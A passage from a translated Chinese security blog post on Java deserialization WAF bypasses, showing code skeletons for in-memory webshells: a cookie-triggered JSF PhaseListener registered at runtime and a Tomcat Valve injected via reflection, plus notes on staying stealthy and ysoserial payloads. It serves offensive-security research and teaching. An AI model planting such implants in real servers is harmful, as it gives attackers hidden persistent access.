这可以作为针对使用 Jetty 的 Spring 的内存 Webshell 的基础。然而,与嵌入式 Tomcat 一样,需要更多的工作才能将此过滤器置于过滤器链的顶部,以拦截未认证的请求,这取决于目标应用程序。

在 Javax Faces 中使用阶段

在 Faces 中,可以通过使用 PhaseListeners 来拦截请求。它们可以像在 Jetty 或 Tomcat 上的过滤器一样附加到底层 Web 框架上。

自定义的 PhaseListener 结构如下:

public class CustomPhase implements PhaseListener {

    @Override
    public void afterPhase(PhaseEvent phaseEvent) {
        try {
            Map<String, Object> cookies = FacesContext.getCurrentInstance().getExternalContext()
                    .getRequestCookieMap();
            if (!cookies.containsKey("test"))
                return;
            Cookie cookie = (Cookie) cookies.get("test");
            // ...
            HttpServletResponse resp = ((HttpServletResponse) FacesContext.getCurrentInstance()
                .getExternalContext().getResponse());
            resp.getWriter().write("Result");
        }catch(Throwable tr) {
            // ignored
        }
    }

    @Override
    public void beforePhase(PhaseEvent phaseEvent) {
    }

    @Override
    public PhaseId getPhaseId() {
        return PhaseId.RENDER_RESPONSE;
    }
}

一旦在运行时使用当前线程上下文的 ClassLoader 加载了类定义,就可以注册新的 Phase 来拦截请求:

LifecycleFactory lifecycleFactory = (LifecycleFactory) FactoryFinder
    .getFactory(FactoryFinder.LIFECYCLE_FACTORY);
Lifecycle applicationLifecycle = lifecycleFactory
    .getLifecycle(LifecycleFactory.DEFAULT_LIFECYCLE);

applicationLifecycle.addPhaseListener(new CustomPhase());

最后,可能需要做更多的工作才能实际使其拦截任何请求。此外,它可以作为内存 Webshell 的基础。

在使用 Tomcat 的 Spring 中使用 Valves

在 Tomcat 中,Valves 也可以注册,而不是过滤器。实际上,这些 Valves 被用来覆盖使用 JSP (JavaServer Pages) 呈现的参数,以利用 Spring4Shell 漏洞。

在纯 Java 中,它们可以这样注册:

WebappClassLoaderBase lbase = ((WebappClassLoaderBase)(
    (
        (ServletRequestAttributes)RequestContextHolder
            .getRequestAttributes()
    ).getRequest().getServletContext().getClassLoader())
);

Field fResources = getField(lbase.getClass(), "resources");
fResources.setAccessible(true);
StandardContext ctx = (StandardContext) ((WebResourceRoot)fResources.get(lbase))
    .getContext();

ctx.getParent().getPipeline().addValve(new ValveBase() {
    @Override
    public void invoke(Request request, Response response) throws IOException, ServletException {
        // ...
        // 拦截它
        // ...
        if(this.getNext() != null) {
            this.getNext().invoke(request, response);
        }
    }
});

结论

本文介绍的技巧可以适应在参与期间保持隐蔽。仅依赖 EDR 和 WAF 可能会使利用步骤更加困难,但永远不会取代修补易受攻击的应用程序。

这里提到的 Translets 和 Transformers 的一些有效载荷已包含在我们的 GitHub fork 或 this pull request 到 ysoserial 存储库中。

但请注意,这里提到的 gadget 链和易受攻击的依赖项在易受攻击的应用程序中越来越不可用。因此,这些技巧可能不完全适用。此外,从 Java 16 开始,内部 Translets 将不适用于未命名模块,从而破坏了几个依赖于此的 gadget 链。尽管如此,我们仍然相信在未来几年中,我们仍然会找到运行在 Java 7、8 或 11 上的应用程序 最新!Java 反序列化饶过WAF的一些技巧(译)

此外,这里提到的用于注入内存 Webshell 的相同逻辑也可以从其他类型的漏洞中被利用,这些漏洞会导致 RCE(例如 SSTI 和脚本引擎)。

最后,我们尝试通过为 Hexacon 创建一个 crypto/web 挑战来突出这里提到的一些环境限制,命名为 AlmostIsoSerial (sources.7z, vm.7z)。你可以在 这里 找到 write-ups。

- END -

原文始发于微信公众号(3072):最新!Java 反序列化饶过WAF的一些技巧(译)

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年5月24日21:50:49
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   最新!Java 反序列化饶过WAF的一些技巧(译)http://cn-sec.com/archives/2774922.html

发表评论

匿名网友 填写信息